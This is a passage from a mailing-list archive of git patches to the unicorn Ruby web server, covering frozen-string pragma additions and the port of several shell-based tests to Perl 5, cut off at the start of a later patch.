+# frozen_string_literal: false
require 'logger'
# Implements a simple DSL for configuring a unicorn server.
diff --git a/lib/unicorn/const.rb b/lib/unicorn/const.rb
index 33ab4ac..8032863 100644
--- a/lib/unicorn/const.rb
+++ b/lib/unicorn/const.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
module Unicorn::Const # :nodoc:
# default TCP listen host address (0.0.0.0, all interfaces)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index ab3bd6e..a48dab7 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# no stable API here
require 'unicorn_http'
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 0ed0ae3..3634165 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
# Writes a Rack response to your client using the HTTP/1.1 specification.
# You use it by simply doing:
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index ed5bbf1..08fbe40 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# This is the process manager of Unicorn. This manages worker
# processes which in turn handle the I/O and application process.
diff --git a/lib/unicorn/launcher.rb b/lib/unicorn/launcher.rb
index 78e8f39..bd3324e 100644
--- a/lib/unicorn/launcher.rb
+++ b/lib/unicorn/launcher.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
$stdout.sync = $stderr.sync = true
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index db9f2cb..efd9177 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Strongly consider https://github.com/tmm1/gctools if using Ruby 2.1+
# It is built on new APIs in Ruby 2.1, so it is more intelligent than
diff --git a/lib/unicorn/preread_input.rb b/lib/unicorn/preread_input.rb
index 12eb3e8..c62cc09 100644
--- a/lib/unicorn/preread_input.rb
+++ b/lib/unicorn/preread_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
module Unicorn
# This middleware is used to ensure input is buffered to memory
diff --git a/lib/unicorn/select_waiter.rb b/lib/unicorn/select_waiter.rb
index cb84aab..d11ea57 100644
--- a/lib/unicorn/select_waiter.rb
+++ b/lib/unicorn/select_waiter.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# fallback for non-Linux and Linux <4.5 systems w/o EPOLLEXCLUSIVE
class Unicorn::SelectWaiter # :nodoc:
def get_readers(ready, readers, timeout) # :nodoc:
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 06ec2b2..986932f 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :enddoc:
require 'socket'
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 9246f73..23a9976 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# When processing uploads, unicorn may expose a StreamInput object under
# "rack.input" of the Rack environment when
diff --git a/lib/unicorn/tee_input.rb b/lib/unicorn/tee_input.rb
index 2ccc2d9..b3c6535 100644
--- a/lib/unicorn/tee_input.rb
+++ b/lib/unicorn/tee_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Acts like tee(1) on an input input to provide a input-like stream
# while providing rewindable semantics through a File/StringIO backing
diff --git a/lib/unicorn/tmpio.rb b/lib/unicorn/tmpio.rb
index 0bbf6ec..deecd80 100644
--- a/lib/unicorn/tmpio.rb
+++ b/lib/unicorn/tmpio.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# :stopdoc:
require 'tmpdir'
diff --git a/lib/unicorn/util.rb b/lib/unicorn/util.rb
index b826de4..f28d929 100644
--- a/lib/unicorn/util.rb
+++ b/lib/unicorn/util.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'fcntl'
module Unicorn::Util # :nodoc:
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 4af31be..d2445d5 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require "raindrops"
# This class and its members can be considered a stable interface
diff --git a/setup.rb b/setup.rb
index cf1abd9..96cf75a 100644
--- a/setup.rb
+++ b/setup.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
#
# setup.rb
#
diff --git a/t/broken-app.ru b/t/broken-app.ru
index d05d7ab..5966bff 100644
--- a/t/broken-app.ru
+++ b/t/broken-app.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# we do not want Rack::Lint or anything to protect us
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/client_body_buffer_size.ru b/t/client_body_buffer_size.ru
index 44161a5..1a0fb16 100644
--- a/t/client_body_buffer_size.ru
+++ b/t/client_body_buffer_size.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
app = lambda do |env|
input = env['rack.input']
case env["PATH_INFO"]
diff --git a/t/detach.ru b/t/detach.ru
index bbd998e..8d35951 100644
--- a/t/detach.ru
+++ b/t/detach.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentType, "text/plain"
fifo_path = ENV["TEST_FIFO"] or abort "TEST_FIFO not set"
run lambda { |env|
diff --git a/t/env.ru b/t/env.ru
index 388412e..86c3cfa 100644
--- a/t/env.ru
+++ b/t/env.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env| [ 200, {}, [ env.inspect << "\n" ] ] }
diff --git a/t/fails-rack-lint.ru b/t/fails-rack-lint.ru
index 82bfb5f..8b8b5ec 100644
--- a/t/fails-rack-lint.ru
+++ b/t/fails-rack-lint.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This rack app returns an invalid status code, which will cause
# Rack::Lint to throw an exception if it is present. This
# is used to check whether Rack::Lint is in the stack or not.
diff --git a/t/heartbeat-timeout.ru b/t/heartbeat-timeout.ru
index 3eeb5d6..ccc6a8e 100644
--- a/t/heartbeat-timeout.ru
+++ b/t/heartbeat-timeout.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
headers = { 'content-type' => 'text/plain' }
run lambda { |env|
diff --git a/t/integration.ru b/t/integration.ru
index 888833a..6df481c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -1,4 +1,5 @@
#!ruby
+# frozen_string_literal: false
# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
diff --git a/t/listener_names.ru b/t/listener_names.ru
index edb4e6a..f52c59b 100644
--- a/t/listener_names.ru
+++ b/t/listener_names.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
names = Unicorn.listener_names.inspect # rely on preload_app=true
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index 224cb06..2ae58a8 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'unicorn/oob_gc'
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index 7f40601..5358222 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'unicorn/oob_gc'
use Rack::ContentLength
use Rack::ContentType, "text/plain"
diff --git a/t/pid.ru b/t/pid.ru
index f5fd31f..b49b137 100644
--- a/t/pid.ru
+++ b/t/pid.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env| [ 200, {}, [ "#$$\n" ] ] }
diff --git a/t/preread_input.ru b/t/preread_input.ru
index 18af221..5f68fe9 100644
--- a/t/preread_input.ru
+++ b/t/preread_input.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
require 'digest/md5'
require 'unicorn/preread_input'
use Unicorn::PrereadInput
diff --git a/t/reopen-logs.ru b/t/reopen-logs.ru
index c39e8f6..488da85 100644
--- a/t/reopen-logs.ru
+++ b/t/reopen-logs.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, "text/plain"
run lambda { |env|
diff --git a/t/t0013.ru b/t/t0013.ru
index 48a3a34..e425093 100644
--- a/t/t0013.ru
+++ b/t/t0013.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
app = lambda do |env|
diff --git a/t/t0014.ru b/t/t0014.ru
index b0bd2b7..686d214 100644
--- a/t/t0014.ru
+++ b/t/t0014.ru
@@ -1,4 +1,5 @@
#\ -E none
+# frozen_string_literal: false
use Rack::ContentLength
use Rack::ContentType, 'text/plain'
app = lambda do |env|
diff --git a/t/t0301.ru b/t/t0301.ru
index ce68213..54929b1 100644
--- a/t/t0301.ru
+++ b/t/t0301.ru
@@ -1,4 +1,5 @@
#\-N --debug
+# frozen_string_literal: false
run(lambda do |env|
case env['PATH_INFO']
when '/vars'
diff --git a/test/aggregate.rb b/test/aggregate.rb
index 5eebbe5..0f32b2f 100755
--- a/test/aggregate.rb
+++ b/test/aggregate.rb
@@ -1,5 +1,6 @@
#!/usr/bin/ruby -n
# -*- encoding: binary -*-
+# frozen_string_literal: false
BEGIN { $tests = $assertions = $failures = $errors = 0 }
diff --git a/test/benchmark/dd.ru b/test/benchmark/dd.ru
index 111fa2e..5bd2739 100644
--- a/test/benchmark/dd.ru
+++ b/test/benchmark/dd.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This benchmark is the simplest test of the I/O facilities in
# unicorn. It is meant to return a fixed-sized blob to test
# the performance of things in Unicorn, _NOT_ the app.
diff --git a/test/benchmark/ddstream.ru b/test/benchmark/ddstream.ru
index b14c973..fd40ced 100644
--- a/test/benchmark/ddstream.ru
+++ b/test/benchmark/ddstream.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This app is intended to test large HTTP responses with or without
# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
# reverse proxy, unicorn will be unresponsive when client count exceeds
diff --git a/test/benchmark/readinput.ru b/test/benchmark/readinput.ru
index c91bec3..95c0226 100644
--- a/test/benchmark/readinput.ru
+++ b/test/benchmark/readinput.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# This app is intended to test large HTTP requests with or without
# a fully-buffering reverse proxy such as nginx. Without a fully-buffering
# reverse proxy, unicorn will be unresponsive when client count exceeds
diff --git a/test/benchmark/stack.ru b/test/benchmark/stack.ru
index fc9193f..17a565b 100644
--- a/test/benchmark/stack.ru
+++ b/test/benchmark/stack.ru
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
run(lambda { |env|
body = "#{caller.size}\n"
h = {
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 8494452..807f724 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Don't add to this file, new tests are in Perl 5. See t/README
FLOCK_PATH = File.expand_path(__FILE__)
require './test/test_helper'
diff --git a/test/test_helper.rb b/test/test_helper.rb
index d86f83b..0bf3c90 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index f518230..a0a2bff 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'socket'
require 'unicorn'
require 'io/wait'
diff --git a/test/unit/test_configurator.rb b/test/unit/test_configurator.rb
index 1298f0e..1a89aca 100644
--- a/test/unit/test_configurator.rb
+++ b/test/unit/test_configurator.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'tempfile'
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 81ad82b..4b2d2d0 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'test/unit'
require 'unicorn'
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 697af44..adcc84f 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index 425d5ad..fd47246 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'digest/md5'
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 53ae944..9d1b350 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 7ffa48f..5a2252f 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 6c48754..49ff3c7 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
# Copyright (c) 2009 Eric Wong
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index a446f06..4363474 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'tempfile'
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 7986ca7..7ee98e4 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'digest/sha1'
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 607ce87..8f05c77 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'test/unit'
require 'digest/sha1'
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index bc7b233..ce53b86 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require './test/test_helper'
require 'tempfile'
diff --git a/test/unit/test_waiter.rb b/test/unit/test_waiter.rb
index 0995de2..a20994b 100644
--- a/test/unit/test_waiter.rb
+++ b/test/unit/test_waiter.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
require 'test/unit'
require 'unicorn'
require 'unicorn/select_waiter'
diff --git a/unicorn.gemspec b/unicorn.gemspec
index e7e3ef7..36700a8 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
manifest = File.exist?('.manifest') ?
IO.readlines('.manifest').map!(&:chomp!) : `git ls-files`.split("\n")
^ permalink raw reply related [relevance 2%]
* [PATCH 00..11/11] more tests to Perl 5..
@ 2023-09-10 20:08 1% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-09-10 20:08 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 3020 bytes --]
Hopefully this is less maintenance down the line since Ruby
introduces incompatibilities at a higher rate than Perl.
I don't fully trust Perl, either, but far more Ruby code gets
broken by new releases.
More to come at some point...
Note: attached patches are generated with --irreversible-delete
to save bandwidth.
Eric Wong (11):
tests: port some bad config tests to Perl 5
tests: port working_directory tests to Perl 5
tests: port t/heartbeat-timeout to Perl 5
tests: port reopen logs test over to Perl 5
tests: rewrite SIGWINCH && SIGTTIN test in Perl 5
tests: introduce `do_req' helper sub
tests: use more common variable names between tests
tests: use Time::HiRes `sleep' and `time' everywhere
tests: fold SO_KEEPALIVE check to Perl 5 integration
tests: move broken app test to Perl 5 integration test
tests: fold early shutdown() tests into t/integration.t
t/active-unix-socket.t | 4 +-
t/client_body_buffer_size.t | 6 +-
t/heartbeat-timeout.ru | 2 +-
t/heartbeat-timeout.t | 62 +++++++++++++++
t/integration.ru | 1 +
t/integration.t | 82 +++++++++++++-------
t/lib.perl | 51 ++++++++++--
t/reload-bad-config.t | 54 +++++++++++++
t/{t0006.ru => reopen-logs.ru} | 0
t/reopen-logs.t | 39 ++++++++++
t/t0001-reload-bad-config.sh | 53 -------------
t/t0002-config-conflict.sh | 49 ------------
t/t0003-working_directory.sh | 51 ------------
t/t0004-heartbeat-timeout.sh | 69 -----------------
t/t0004-working_directory_broken.sh | 24 ------
t/t0005-working_directory_app.rb.sh | 40 ----------
t/t0006-reopen-logs.sh | 83 --------------------
t/t0007-working_directory_no_embed_cli.sh | 44 -----------
t/t0009-winch_ttin.sh | 59 --------------
t/winch_ttin.t | 67 ++++++++++++++++
t/working_directory.t | 94 +++++++++++++++++++++++
test/exec/test_exec.rb | 23 +-----
test/unit/test_server.rb | 67 ----------------
23 files changed, 424 insertions(+), 600 deletions(-)
create mode 100644 t/heartbeat-timeout.t
create mode 100644 t/reload-bad-config.t
rename t/{t0006.ru => reopen-logs.ru} (100%)
create mode 100644 t/reopen-logs.t
delete mode 100755 t/t0001-reload-bad-config.sh
delete mode 100755 t/t0002-config-conflict.sh
delete mode 100755 t/t0003-working_directory.sh
delete mode 100755 t/t0004-heartbeat-timeout.sh
delete mode 100755 t/t0004-working_directory_broken.sh
delete mode 100755 t/t0005-working_directory_app.rb.sh
delete mode 100755 t/t0006-reopen-logs.sh
delete mode 100755 t/t0007-working_directory_no_embed_cli.sh
delete mode 100755 t/t0009-winch_ttin.sh
create mode 100644 t/winch_ttin.t
create mode 100644 t/working_directory.t
[-- Attachment #2: 0001-tests-port-some-bad-config-tests-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3987 bytes --]
From f43c28ea10ca8d520b55f2fbb20710dd66fc4fb5 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 22:55:09 +0000
Subject: [PATCH 01/11] tests: port some bad config tests to Perl 5
We can fold some tests into one test to save on Perl startup
time (but Ruby startup time is a lost cause).
---
t/lib.perl | 12 ++++----
t/reload-bad-config.t | 58 ++++++++++++++++++++++++++++++++++++
t/t0001-reload-bad-config.sh | 53 --------------------------------
t/t0002-config-conflict.sh | 49 ------------------------------
4 files changed, 65 insertions(+), 107 deletions(-)
create mode 100644 t/reload-bad-config.t
delete mode 100755 t/t0001-reload-bad-config.sh
delete mode 100755 t/t0002-config-conflict.sh
diff --git a/t/lib.perl b/t/lib.perl
index fe3404ba..7de9e426 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -9,17 +9,19 @@ use Test::More;
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
-our ($tmpdir, $errfh);
-our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn $tmpdir $errfh
+our ($tmpdir, $errfh, $err_log);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
+ $tmpdir $errfh $err_log
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
-open($errfh, '>>', "$tmpdir/err.log");
-END { diag slurp("$tmpdir/err.log") if $tmpdir };
+$err_log = "$tmpdir/err.log";
+open($errfh, '>>', $err_log);
+END { diag slurp($err_log) if $tmpdir };
sub check_stderr () {
- my @log = slurp("$tmpdir/err.log");
+ my @log = slurp($err_log);
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
@err = grep(!/failed to set accept_filter=/, @err);
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
new file mode 100644
index 00000000..c7055c7e
--- /dev/null
+++ b/t/reload-bad-config.t
@@ -0,0 +1,58 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
+my $ru = "$tmpdir/config.ru";
+my $u_conf = "$tmpdir/u.conf.rb";
+
+open my $fh, '>', $ru;
+print $fh <<'EOM';
+use Rack::ContentLength
+use Rack::ContentType, 'text/plain'
+config = ru = "hello world\n" # check for config variable conflicts, too
+run lambda { |env| [ 200, {}, [ ru.to_s ] ] }
+EOM
+close $fh;
+
+open $fh, '>', $u_conf;
+print $fh <<EOM;
+preload_app true
+stderr_path "$err_log"
+EOM
+close $fh;
+
+my $ar = unicorn(qw(-E none -c), $u_conf, $ru, { 3 => $srv });
+my $c = tcp_start($srv, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+my $bdy = do { local $/; <$c> };
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid at start');
+is($bdy, "hello world\n", 'body matches expected');
+
+open $fh, '>>', $ru;
+say $fh '....this better be a syntax error in any version of ruby...';
+close $fh;
+
+$ar->do_kill('HUP'); # reload
+my @l;
+for (1..1000) {
+ @l = grep(/(?:done|error) reloading/, slurp($err_log)) and
+ last;
+ select undef, undef, undef, 0.011;
+}
+diag slurp($err_log) if $ENV{V};
+ok(grep(/error reloading/, @l), 'got error reloading');
+open $fh, '>', $err_log;
+close $fh;
+
+$c = tcp_start($srv, 'GET / HTTP/1.0');
+($status, $hdr) = slurp_hdr($c);
+$bdy = do { local $/; <$c> };
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid afte reload');
+is($bdy, "hello world\n", 'body matches expected after reload');
+
+check_stderr;
+undef $tmpdir; # quiet t/lib.perl END{}
+done_testing;
diff --git a/t/t0001-reload-bad-config.sh b/t/t0001-reload-bad-config.sh
deleted file mode 100755
index 55bb3555..00000000
diff --git a/t/t0002-config-conflict.sh b/t/t0002-config-conflict.sh
deleted file mode 100755
index d7b2181a..00000000
[-- Attachment #3: 0002-tests-port-working_directory-tests-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4809 bytes --]
From d4514174ee7eadea89003f380acacf32d52acd9d Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 23:18:16 +0000
Subject: [PATCH 02/11] tests: port working_directory tests to Perl 5
We can fold a bunch of them into one test to save startup
time, inodes, and FS activity.
---
t/t0003-working_directory.sh | 51 ---------
t/t0004-working_directory_broken.sh | 24 -----
t/t0005-working_directory_app.rb.sh | 40 -------
t/t0007-working_directory_no_embed_cli.sh | 44 --------
t/working_directory.t | 122 ++++++++++++++++++++++
5 files changed, 122 insertions(+), 159 deletions(-)
delete mode 100755 t/t0003-working_directory.sh
delete mode 100755 t/t0004-working_directory_broken.sh
delete mode 100755 t/t0005-working_directory_app.rb.sh
delete mode 100755 t/t0007-working_directory_no_embed_cli.sh
create mode 100644 t/working_directory.t
diff --git a/t/t0003-working_directory.sh b/t/t0003-working_directory.sh
deleted file mode 100755
index 79988d8b..00000000
diff --git a/t/t0004-working_directory_broken.sh b/t/t0004-working_directory_broken.sh
deleted file mode 100755
index ca9d3825..00000000
diff --git a/t/t0005-working_directory_app.rb.sh b/t/t0005-working_directory_app.rb.sh
deleted file mode 100755
index 0fbab4fc..00000000
diff --git a/t/t0007-working_directory_no_embed_cli.sh b/t/t0007-working_directory_no_embed_cli.sh
deleted file mode 100755
index 77d67072..00000000
diff --git a/t/working_directory.t b/t/working_directory.t
new file mode 100644
index 00000000..e7ff43a5
--- /dev/null
+++ b/t/working_directory.t
@@ -0,0 +1,122 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+mkdir "$tmpdir/alt";
+my $u_sock = "$tmpdir/u.sock";
+my $ru = "$tmpdir/alt/config.ru";
+my $u_conf = "$tmpdir/u.conf.rb";
+open my $fh, '>', $u_conf;
+print $fh <<EOM;
+pid "$tmpdir/pid"
+preload_app true
+stderr_path "$err_log"
+working_directory "$tmpdir/alt" # the whole point of this test
+before_fork { |_,_| \$master_ppid = Process.ppid }
+EOM
+close $fh;
+
+my $common_ru = <<'EOM';
+use Rack::ContentLength
+use Rack::ContentType, 'text/plain'
+run lambda { |env| [ 200, {}, [ "#{$master_ppid}\n" ] ] }
+EOM
+
+open $fh, '>', $ru;
+print $fh <<EOM;
+#\\--daemonize --listen $u_sock
+$common_ru
+EOM
+close $fh;
+
+my $pid;
+my $stop_daemon = sub {
+ my ($is_END) = @_;
+ kill('TERM', $pid);
+ my $tries = 1000;
+ while (CORE::kill(0, $pid) && --$tries) {
+ select undef, undef, undef, 0.01;
+ }
+ if ($is_END && CORE::kill(0, $pid)) {
+ CORE::kill('KILL', $pid);
+ die "daemonized PID=$pid did not die";
+ } else {
+ ok(!CORE::kill(0, $pid), 'daemonized unicorn gone');
+ undef $pid;
+ }
+};
+
+END { $stop_daemon->(1) if defined $pid };
+
+unicorn('-c', $u_conf)->join; # will daemonize
+chomp($pid = slurp("$tmpdir/pid"));
+
+my $c = unix_start($u_sock, 'GET / HTTP/1.0');
+my ($status, $hdr) = slurp_hdr($c);
+chomp(my $bdy = do { local $/; <$c> });
+is($bdy, 1, 'got expected $master_ppid');
+
+$stop_daemon->();
+check_stderr;
+
+if ('test without CLI switches in config.ru') {
+ truncate $err_log, 0;
+ open $fh, '>', $ru;
+ print $fh $common_ru;
+ close $fh;
+
+ unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
+ chomp($pid = slurp("$tmpdir/pid"));
+
+ $c = unix_start($u_sock, 'GET / HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ chomp($bdy = do { local $/; <$c> });
+ is($bdy, 1, 'got expected $master_ppid');
+
+ $stop_daemon->();
+ check_stderr;
+}
+
+if ('ensures broken working_directory (missing config.ru) is OK') {
+ truncate $err_log, 0;
+ unlink $ru;
+
+ my $auto_reap = unicorn('-c', $u_conf);
+ $auto_reap->join;
+ isnt($?, 0, 'exited with error due to missing config.ru');
+
+ like(slurp($err_log), qr/rackup file \Q(config.ru)\E not readable/,
+ 'noted unreadability of config.ru in stderr');
+}
+
+if ('fooapp.rb (not config.ru) works with working_directory') {
+ truncate $err_log, 0;
+ my $fooapp = "$tmpdir/alt/fooapp.rb";
+ open $fh, '>', $fooapp;
+ print $fh <<EOM;
+class Fooapp
+ def self.call(env)
+ b = "dir=#{Dir.pwd}"
+ h = { 'content-type' => 'text/plain', 'content-length' => b.bytesize.to_s }
+ [ 200, h, [ b ] ]
+ end
+end
+EOM
+ close $fh;
+ my $srv = tcp_server;
+ my $auto_reap = unicorn(qw(-c), $u_conf, qw(-I. fooapp.rb),
+ { -C => '/', 3 => $srv });
+ $c = tcp_start($srv, 'GET / HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ chomp($bdy = do { local $/; <$c> });
+ is($bdy, "dir=$tmpdir/alt",
+ 'fooapp.rb (w/o config.ru) w/ working_directory');
+ close $c;
+ $auto_reap->join('TERM');
+ is($?, 0, 'fooapp.rb process exited');
+ check_stderr;
+}
+
+undef $tmpdir;
+done_testing;
[-- Attachment #4: 0003-tests-port-t-heartbeat-timeout-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3478 bytes --]
From d67284a692683bca59effd9c0670bd5dd47e4fa3 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Thu, 7 Sep 2023 23:53:58 +0000
